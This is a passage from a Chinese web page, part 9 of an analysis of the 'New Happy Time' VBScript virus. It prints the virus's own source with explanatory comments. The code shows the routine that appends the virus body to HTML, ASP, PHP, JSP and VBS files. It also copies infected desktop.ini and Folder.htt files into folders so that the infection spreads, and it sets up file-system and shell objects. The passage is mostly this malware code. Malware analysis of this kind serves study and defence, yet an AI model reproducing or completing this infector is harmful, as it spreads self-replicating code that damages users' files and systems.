新欢乐时光代码分析(9)
If FileExt = "HTM" Or FileExt = "HTML" Or FileExt = "ASP" Or FileExt = "PHP" Or FileExt = "JSP" Then
Call KJAppendTo(ThisFile.Path, "html")
ElseIf FileExt = "VBS" Then
Call KJAppendTo(ThisFile.Path, "vbs")
ElseIf FileExt = "HTT" Then
HttExists = 1
End If
Next
' 如果所给的路径是桌面,则标志为已经存在HTT了
If (UCase(PathName) = UCase(WinPath & "Desktop\")) Or (UCase(PathName) = UCase(WinPath & "Desktop"))Then
HttExists = 1
End If
' 如果不存在HTT
' 向目录中追加病毒体
If HttExists = 0 Then
FSO.CopyFile WinPath & "system32\desktop.ini", PathName
FSO.CopyFile WinPath & "web\Folder.htt", PathName
End If
End Function
' 函数KJSetDim()
' 定义FSO,WsShell对象
' 取得最后一个可用磁盘卷标
' 生成传染用的加密字串
' 备份系统中的web\folder.htt和system32\desktop.ini
Function KJSetDim()
On Error Resume Next
Err.Clear
' 测试当前执行文件是html还是vbs
TestIt = WScript.ScriptFullname
If Err Then
InWhere = "html"
Else
InWhere = "vbs"
End If
' 创建文件访问对象和Shell对象
If InWhere = "vbs" Then
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WsShell = CreateObject("WScript.Shell")
Else
Set AppleObject = document.applets("KJ_guest")
内容版权声明:除非注明,否则皆为本站原创文章。